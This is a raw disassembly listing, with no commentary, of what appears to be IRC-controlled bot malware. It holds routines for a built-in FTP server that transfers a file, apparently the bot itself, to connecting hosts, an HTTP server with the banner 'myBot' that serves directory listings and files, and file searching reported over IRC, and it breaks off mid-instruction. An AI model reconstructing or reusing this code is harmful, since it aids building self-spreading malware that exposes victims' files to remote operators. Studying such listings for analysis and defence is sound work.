jnz short loc_4057B9 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_417AB0 pop ecx push eax lea eax, [ebp+var_124] loc_4057A9: ; CODE XREF: sub_4053D5+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4057B1: ; CODE XREF: sub_4053D5+4F6j mov edi, [ebp+arg_0] jmp loc_4059AD ; --------------------------------------------------------------------------- loc_4057B9: ; CODE XREF: sub_4053D5+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057FA push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_417AB0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057A9 ; --------------------------------------------------------------------------- loc_4057FA: ; CODE XREF: sub_4053D5+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4058D0 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_418A52 lea eax, [ebp+var_F8] push eax call sub_41781F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_41781F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_417330 add esp, 34h lea eax, [ebp+var_F8] push [ebp+var_8] push edi push offset aXX ; "%x%x\n" push eax call sub_4172B0 push 10h lea eax, [ebp+var_F8] push esi push eax call sub_418A3B add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4172B0 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057B1 ; --------------------------------------------------------------------------- loc_4058D0: ; CODE XREF: sub_4053D5+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40598B push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4059DB pop ecx cmp eax, 1 pop ecx jnz short loc_405981 call sub_405A58 cmp eax, 1 jnz loc_4059AD push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_436F0C push eax lea eax, [ebp+var_8DC] push offset unk_42A128 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_440], esi jnz short loc_405972 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40D679 add esp, 14h loc_405972: ; CODE XREF: sub_4053D5+578j lea eax, [ebp+var_8DC] push eax call sub_40BF6D pop ecx jmp short loc_4059AD ; --------------------------------------------------------------------------- loc_405981: ; CODE XREF: sub_4053D5+532j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059AA ; --------------------------------------------------------------------------- loc_40598B: ; CODE XREF: sub_4053D5+510j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4059AD push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059AA: ; CODE XREF: sub_4053D5+28Bj ; sub_4053D5+2AFj ... push edi call ebx ; send loc_4059AD: ; CODE XREF: sub_4053D5+3DFj ; sub_4053D5+53Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 add esp, 0Ch loc_4059BF: ; CODE XREF: sub_4053D5+1E0j ; sub_4053D5+247j inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405503 jmp loc_4054C8 ; --------------------------------------------------------------------------- loc_4059D1: ; CODE XREF: sub_4053D5+11Ej push 1 pop eax loc_4059D4: ; CODE XREF: sub_4053D5+D0j pop edi pop esi pop ebx leave retn 4 sub_4053D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059DB proc near ; CODE XREF: sub_4053D5+528p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push [ebp+arg_0] mov dword_436F08, eax mov [ebp+var_10], 2 nop call near ptr 71AB12F8h push [ebp+arg_4] mov [ebp+var_C], eax call near ptr 71AB1746h nop mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_436F08 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_405A53 push dword_436F08 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059DB+60j push 1 pop eax leave retn sub_4059DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A58 proc near ; CODE XREF: sub_4053D5+534p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 nop call near ptr 2660000h lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4179A8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405AEF test byte ptr [esi+0Ch], 10h jnz short loc_405AD3 push edi mov edi, 400h loc_405A9B: ; CODE XREF: sub_405A58+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_418A86 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_436F08 nop call near ptr 71AB1AF4h push 1 nop call near ptr 2620000h test byte ptr [esi+0Ch], 10h jz short loc_405A9B pop edi loc_405AD3: ; CODE XREF: sub_405A58+3Bj push esi call sub_417900 pop ecx push dword_436F08 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h push 1 pop eax loc_405AEF: ; CODE XREF: sub_405A58+35j pop esi leave retn sub_405A58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AF2 proc near ; DATA XREF: sub_407252+333o ; sub_40EE72+54E8o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43AD98 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EDD mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4407FC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43ADC4 cmp eax, 0FFFFFFFFh jz loc_405EDD push 7FFFFFFFh push edi call dword_43ADC0 cmp eax, 0FFFFFFFFh jz loc_405EDD lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43AE34 cmp eax, 0FFFFFFFFh jz loc_405EDD mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BC9: ; CODE XREF: sub_405AF2+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43AD80 cmp eax, 0FFFFFFFFh jz loc_405ED8 xor esi, esi mov [ebp+var_4], esi loc_405BFF: ; CODE XREF: sub_405AF2+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43AC90 test eax, eax jz loc_405EC3 cmp esi, [ebp+var_C] jnz short loc_405C81 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43AE2C cmp eax, 0FFFFFFFFh jz loc_405EC3 xor ecx, ecx test ebx, ebx jbe short loc_405C53 lea edx, [ebp+var_134] loc_405C47: ; CODE XREF: sub_405AF2+15Fj cmp [edx], eax jz short loc_405C53 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C47 loc_405C53: ; CODE XREF: sub_405AF2+14Dj ; sub_405AF2+157j cmp ecx, ebx jnz short loc_405C70 cmp ebx, 40h jnb short loc_405C70 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C70: ; CODE XREF: sub_405AF2+163j ; sub_405AF2+168j cmp eax, [ebp+var_8] jbe loc_405EC3 mov [ebp+var_8], eax jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405C81: ; CODE XREF: sub_405AF2+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_417330 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43ADB0 test eax, eax jg short loc_405D14 push esi call dword_43AE30 xor ecx, ecx test ebx, ebx jbe loc_405EC3 lea eax, [ebp+var_134] loc_405CD3: ; CODE XREF: sub_405AF2+1EBj cmp [eax], esi jz short loc_405CE4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CD3 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405CE4: ; CODE XREF: sub_405AF2+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D08 lea eax, [ebp+ecx*4+var_134] loc_405CF2: ; CODE XREF: sub_405AF2+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405CF2 loc_405D08: ; CODE XREF: sub_405AF2+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405D14: ; CODE XREF: sub_405AF2+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417330 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_417AB0 add esp, 10h test eax, eax jbe loc_405EC3 loc_405D42: ; CODE XREF: sub_405AF2+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405DE7 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_405DBB lea eax, [ebp+var_18F0] push eax call sub_417AB0 cmp eax, 5 pop ecx jbe short loc_405DBB mov eax, offset asc_42A3B4 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx pop ecx push eax call sub_417880 pop ecx pop ecx push eax call sub_418B6E push eax lea eax, [ebp+var_23C] push eax call sub_4179C0 add esp, 10h jmp short loc_405DD2 ; --------------------------------------------------------------------------- loc_405DBB: ; CODE XREF: sub_405AF2+27Fj ; sub_405AF2+291j lea eax, [ebp+var_18F0] push offset asc_42A3B0 ; "\r\n" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_405E06 loc_405DD2: ; CODE XREF: sub_405AF2+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 0Ch or esi, 0FFFFFFFFh loc_405DE7: ; CODE XREF: sub_405AF2+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jb loc_405D42 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405E06: ; CODE XREF: sub_405AF2+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E50 lea eax, [ebp+var_134] loc_405E12: ; CODE XREF: sub_405AF2+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E23 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E12 jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E23: ; CODE XREF: sub_405AF2+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E47 lea eax, [ebp+ecx*4+var_134] loc_405E31: ; CODE XREF: sub_405AF2+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E31 loc_405E47: ; CODE XREF: sub_405AF2+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E50: ; CODE XREF: sub_405AF2+318j mov esi, [ebp+var_4] loc_405E53: ; CODE XREF: sub_405AF2+32Fj ; sub_405AF2+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EBC lea eax, [ebp+var_360] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_417AB0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EBC and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43AE34 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060D0 add esp, 14h jmp short loc_405EC3 ; --------------------------------------------------------------------------- loc_405EBC: ; CODE XREF: sub_405AF2+369j ; sub_405AF2+38Fj push esi call dword_43AE30 loc_405EC3: ; CODE XREF: sub_405AF2+11Dj ; sub_405AF2+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405BFF jmp loc_405BC9 ; --------------------------------------------------------------------------- loc_405ED8: ; CODE XREF: sub_405AF2+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EDD: ; CODE XREF: sub_405AF2+6Aj ; sub_405AF2+92j ... call dword_43AD2C push eax lea eax, [ebp+var_8F0] push offset unk_42A36C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F23 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40D679 add esp, 14h loc_405F23: ; CODE XREF: sub_405AF2+40Cj lea eax, [ebp+var_8F0] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_254] call sub_417078 pop ecx push ebx call near ptr 2610350h nop pop edi pop esi pop ebx sub_405AF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417B30 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_405FB3 push offset aTextHtml ; "text/html" jmp short loc_405FB8 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405F4D+5Dj push offset aApplicationOct ; "application/octet-stream" loc_405FB8: ; CODE XREF: sub_405F4D+64j lea eax, [ebp+var_9C] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2680000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2670000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406031 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 24h jmp short loc_406052 ; --------------------------------------------------------------------------- loc_406031: ; CODE XREF: sub_405F4D+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 28h loc_406052: ; CODE XREF: sub_405F4D+E2j lea eax, [ebp+var_1654] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43ADE8 cmp [ebp+var_A4], edi jnz short loc_406092 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A0D pop ecx pop ecx jmp short loc_4060AF ; --------------------------------------------------------------------------- loc_406092: ; CODE XREF: sub_405F4D+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_406387 add esp, 10h loc_4060AF: ; CODE XREF: sub_405F4D+143j push [ebp+var_44C] call dword_43AE30 push [ebp+var_B4] call sub_417078 pop ecx push edi nop call near ptr 2610350h pop edi pop esi sub_405F4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417330 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406106 push eax push offset aS_2 ; "\\%s" jmp short loc_40610F ; --------------------------------------------------------------------------- loc_406106: ; CODE XREF: sub_4060D0+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40610F: ; CODE XREF: sub_4060D0+34j lea eax, [ebp+var_10C] push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_417AB0 test eax, eax pop ecx jbe short loc_4061AA mov [ebp+arg_8], 2 loc_40613A: ; CODE XREF: sub_4060D0+D8j lea eax, [ebp+var_10C] push eax call sub_417AB0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40617A cmp [ebp+esi+var_10C], 25h jnz short loc_40617A cmp [ebp+esi+var_10B], 32h jnz short loc_40617A cmp [ebp+esi+var_10A], 30h jnz short loc_40617A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406194 ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_4060D0+7Aj ; sub_4060D0+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40618A push 5Ch pop eax jmp short loc_40618D ; --------------------------------------------------------------------------- loc_40618A: ; CODE XREF: sub_4060D0+B3j movsx eax, al loc_40618D: ; CODE XREF: sub_4060D0+B8j mov [ebp+ebx+var_210], al loc_406194: ; CODE XREF: sub_4060D0+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_417AB0 cmp esi, eax pop ecx jb short loc_40613A loc_4061AA: ; CODE XREF: sub_4060D0+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 lea eax, [ebp+var_314] push offset asc_42A660 ; "\n" push eax call sub_418B6E add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26903A8h push 1 cmp eax, 10h pop esi jz short loc_4061FB cmp eax, 0FFFFFFFFh jnz short loc_4061FE push [ebp+arg_0] jmp loc_40627E ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_4060D0+11Cj mov [ebp+var_4], esi loc_4061FE: ; CODE XREF: sub_4060D0+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40620B mov [ebp+var_4], esi loc_40620B: ; CODE XREF: sub_4060D0+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406289 cmp [ebp+arg_C], edi jz short loc_40627D lea eax, [ebp+var_314] push offset asc_42A65C ; "*" push eax call sub_4179D0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_4172B0 lea eax, [ebp+var_210] push eax call sub_406ACA add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4172B0 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4062D8 ; --------------------------------------------------------------------------- loc_40627D: ; CODE XREF: sub_4060D0+152j push ebx loc_40627E: ; CODE XREF: sub_4060D0+126j call dword_43AE30 jmp loc_406380 ; --------------------------------------------------------------------------- loc_406289: ; CODE XREF: sub_4060D0+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 26508D5h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062D8 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4172B0 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2690000h push esi mov [ebp+var_330], eax nop call near ptr 26318FCh loc_4062D8: ; CODE XREF: sub_4060D0+1ABj ; sub_4060D0+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_42A61C push eax call sub_4172B0 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_416D5C mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4407F4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F4D push edi push edi call near ptr 2680B9Ah nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_440804[ecx], eax jz short loc_406352 loc_406340: ; CODE XREF: sub_4060D0+280j cmp [ebp+var_318], edi jnz short loc_406380 push 5 nop call near ptr 2620000h jmp short loc_406340 ; --------------------------------------------------------------------------- loc_406352: ; CODE XREF: sub_4060D0+26Ej push ebx call dword_43AE30 nop call near ptr 2650C0Ah push eax lea eax, [ebp+var_8C4] push offset unk_42A5D4 push eax call sub_4172B0 lea eax, [ebp+var_8C4] push eax call sub_40BF6D add esp, 10h loc_406380: ; CODE XREF: sub_4060D0+1B4j ; sub_4060D0+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4060D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap ; sub_40EE72+49C9p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417330 mov edi, [ebp+arg_0] push offset asc_42A660 ; "\n" push edi call sub_418B6E add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4063E6 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41782A add esp, 14h jmp loc_4064E5 ; --------------------------------------------------------------------------- loc_4063E6: ; CODE XREF: sub_406387+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064CB call sub_417AB0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push edi call sub_417AB0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 0Ch jmp short loc_4064E5 ; --------------------------------------------------------------------------- loc_4064CB: ; CODE XREF: sub_406387+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h loc_4064E5: ; CODE XREF: sub_406387+5Aj ; sub_406387+142j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 cmp [ebp+arg_C], ebx jz short loc_406580 push [ebp+arg_C] call sub_417AB0 cmp eax, 2 pop ecx jbe short loc_406580 push [ebp+arg_C] call sub_417AB0 sub eax, 3 pop ecx jz short loc_406531 loc_406525: ; CODE XREF: sub_406387+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406531 dec eax jnz short loc_406525 loc_406531: ; CODE XREF: sub_406387+19Cj ; sub_406387+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_418C10 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 loc_406580: ; CODE XREF: sub_406387+180j ; sub_406387+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 26C0000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 26B0000h nop test eax, eax jz loc_406970 mov edi, 1FFh loc_4065AC: ; CODE XREF: sub_406387+5E3j cmp [ebp+var_388], ebx jz loc_406958 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 26A070Dh lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 26A0000h mov ax, [ebp+var_10] mov 